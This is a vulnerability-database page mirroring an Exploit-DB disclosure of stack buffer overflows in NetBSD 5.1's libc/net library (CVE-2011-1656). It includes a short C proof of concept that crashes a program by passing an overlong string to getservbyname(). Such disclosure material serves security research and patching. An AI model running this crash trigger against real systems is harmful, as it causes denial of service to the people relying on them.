Lucene search
+L

NetBSD 5.1 - 'libc/net' Multiple Stack Buffer Overflows

🗓️ 01 Jul 2011 00:00:00Reported by Maksymilian ArciemowiczType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

NetBSD 5.1 'libc/net' buffer overflo

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-1656
1 Jul 201100:00
circl
CVE
CVE-2011-1656
6 Jul 201100:00
cve
Packet Storm
NetBSD 5.1 libc/net Stack Buffer Overflow
1 Jul 201100:00
packetstorm
securityvulns
NetBSD 5.1 libc/net multiple functions stack buffer overflow
6 Jul 201100:00
securityvulns
securityvulns
NetBSD network functions buffer overflow
6 Jul 201100:00
securityvulns
seebug.org
NetBSD 5.1 libc/net multiple functions stack buffer overflow
5 Jul 201100:00
seebug
// source: https://www.securityfocus.com/bid/48528/info

NetBSD is prone to a stack-based buffer-overflow vulnerability affecting multiple functions in the 'libc/net' library.

Successful exploits may allow an attacker to execute arbitrary code in the context of the application using the affected library. Failed exploit attempts will result in a denial-of-service condition.

/*
127# gcc -o grr grr.c && ./grr 6050
127# gcc -o grr grr.c && ./grr 6051
Memory fault (core dumped)
127#


*/
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

int main(int argc, char *argv[]){
	char *cycek;
	cycek=malloc(atoi(argv[1]));

	if(!cycek) return 1;
	memset(cycek,'A',atoi(argv[1]));

	getservbyname(cycek,"tcp");

	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation